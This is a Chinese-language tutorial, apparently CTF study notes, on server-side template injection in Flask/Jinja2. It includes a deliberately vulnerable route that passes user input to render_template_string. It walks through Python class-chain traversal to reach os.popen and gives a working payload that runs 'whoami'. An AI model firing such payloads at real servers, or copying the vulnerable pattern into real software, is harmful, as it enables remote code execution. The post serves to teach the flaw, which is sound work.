SSTI(Server-Side Template Injection),服务端模板注入。
一、预备知识
1.模板引擎
模板引擎(特指web端的模板引擎)是为了分离用户界面和业务数据产生的,通过生成特定格式的文档,利用模板引擎生成前端的html代码,只需要获取用户数据放入渲染函数里即可生成模板+用户数据的前端页面呈现给用户浏览器。
2.SSTI
现如今的一些框架,像python的flask,php的thinkphp,java的spring等一般都是使用成熟MVC模式:
- 用户的输入先进入Controller控制器
- 根据请求类型和请求指令发送到对应Model业务模型进行业务逻辑判断和数据库存取
- 将结果返回到View视图层,经过模板渲染后展现给用户
而SSTI漏洞成因就是因为服务端接收用户输入后,未做任何处理就将其作为Web应用模板内容的一部分,模板引擎进行目标编译渲染时,执行了用户输入的恶意语句,从而导致敏感信息泄露、RCE、getshell等问题。
二、常见SSTI问题
1.python中的ssti-jinja2
示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from flask import Flask, request, render_template_string
app = Flask(__name__) @app.route('/ssti') def ssti_view(): user_input = request.args.get('input', 'guest') template_code = f''' <div style="text-align: center; margin-top: 50px; font-family: sans-serif;"> <h3>Hello, {user_input}</h3> </div> ''' return render_template_string(template_code) if __name__ == "__main__": app.run(debug=True, host='127.0.0.1', port=5000)
|


此时默认的模板解释参数为guest,分析代码可知此时服务端的运行逻辑是接收前端输入的input参数,将其返回到后端拼接后返回前端进行展示
两种主要的模板渲染函数:
render_template(): 用于渲染一个指定的模板文件;
render_template_string(): 用于渲染一个作为输入的字符串
Jinja2模板引擎使用双大括号{{ }}作为变量包裹标识符,当模板函数(尤其是在使用字符串作为模板的场景)进行渲染时,它会把{{ }}包裹起来的内容当作变量或表达式进行解析替换。
模板注入漏洞的成因就是渲染函数在渲染时,往往不会对用户输入的变量做渲染,而是直接替换。然而,如果用户输入的数据包含了 Jinja2 的变量包裹标识符{{}},那么用户输入的内容就会被解析执行。(像 2*2 被解析成 4 )

继承关系
在 Python 中,所有类都默认或显式地继承自一个基类,即内置的 object 类。SSTI 攻击利用的就是 Python 模板引擎在渲染用户输入时,用户可以通过一系列魔术方法进行“类继承链漫游”,最终找到一个可以执行系统命令或读取文件的危险函数/模块。
1 2 3 4 5 6 7 8 9 10 11
| class a:pass class b(a):pass class c(b):pass c = c() print(c.__class__) print(c.__class__.__base__) print(c.__class__.__base__.__base__) print(c.__class__.__base__.__base__.__base__) print(c.__class__.__mro__) print(c.__class__.__mro__[3]) print(c.__class__.__mro__[3].__subclasses__())
|
1 2 3 4 5 6 7 8
| [Running] python -u "d:\desktop\src\code\CTF\tempCodeRunnerFile.py" <class '__main__.c'> <class '__main__.b'> <class '__main__.a'> <class 'object'> (<class '__main__.c'>, <class '__main__.b'>, <class '__main__.a'>, <class 'object'>) <class 'object'> [<class 'type'>, <class 'async_generator'>, ...
|

在这串代码里面,创建了a、b、c三个类,c类继承b类,b类继承a类,a类默认继承object类。
这里读取object类的子类的时候,输出不换行,而且检索比较麻烦,这里写了一个通用脚本来给输出进行换行和编号,便于我们找到指定的类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import re
subclasses_string = ( "<class 'type'>, <class 'async_generator'>, ..., <class '__main__.a'>") pattern = r"<class\s+.*?>" class_list = re.findall(pattern, subclasses_string)
output_filename = "subclasses.txt"
try: with open(output_filename, 'w', encoding='utf-8') as f: output_content = "\n".join(class_list) f.write(output_content) print(f"成功将 {len(class_list)} 个子类信息输出到文件:{output_filename}") print("文件内容一个类占一行。")
except IOError: print(f"写入文件 {output_filename} 时发生错误。请检查文件权限。")
|
检索输出得到的信息,找我们能拿来进行RCCE的类,这里就给出一个类<class ‘os._wrap_close’>,索引是170,但是首位是0,所以应该是列表的第169个。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| class a:pass class b(a):pass class c(b):pass c = c() print(c.__class__) print(c.__class__.__base__) print(c.__class__.__base__.__base__) print(c.__class__.__base__.__base__.__base__) print(c.__class__.__mro__) print(c.__class__.__mro__[3])
print(c.__class__.__mro__[3].__subclasses__()[169]) print(c.__class__.__mro__[3].__subclasses__()[169].__init__)
print(c.__class__.__mro__[3].__subclasses__()[169].__init__.__globals__['popen']) print(c.__class__.__mro__[3].__subclasses__()[169].__init__.__globals__['popen']('whoami').read())
|
1 2 3 4 5 6 7 8 9 10 11
| [Running] python -u "d:\desktop\src\code\CTF\python_class.py" <class '__main__.c'> <class '__main__.b'> <class '__main__.a'> <class 'object'> (<class '__main__.c'>, <class '__main__.b'>, <class '__main__.a'>, <class 'object'>) <class 'object'> <class 'os._wrap_close'> <function _wrap_close.__init__ at 0x000001C4097E1010> <function popen at 0x000001C4097E0EB0> wolf\admin
|
通过找到指定的类之后,攻击链通常是类—-类的构造函数—-构造函数所处的模块全局变量,所以需要__init__作为跳板,来获得__globals__ 字典。
这里执行命令要用 read()方法来读取数据,因为popen函数会执行传入的 shell 命令,并返回一个文件对象,而不是我们需要的命令回显数据。
最后可以看到成功执行命令,这也是一般ssti的攻击思路。
魔术方法
总结一下常用的的魔术方法
| 属性/方法 |
返回值 |
.__class__ |
对象的类 |
.__base__ |
类的直接父类 |
.__bases__ |
所有直接父类的元组 |
.__mro__ |
方法解析顺序元组 |
.__subclasses__() |
继承自该类的所有子类的列表 |
.__init__ |
类的构造函数 |
.__globals__ |
函数所在模块的全局命名空间 |
['__builtins__'] |
Python 的内置函数集 |
.__import__() |
Python 的导入函数 |
SSTI注入

payload:
1
| {{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['popen']('whoami').read()}}
|
我们不知道有哪些现成的类,可以用’’.__class__或者””.__class__,返回的就是<class ‘str’>,此时访问父类就是object。
(其他类型有待更新…)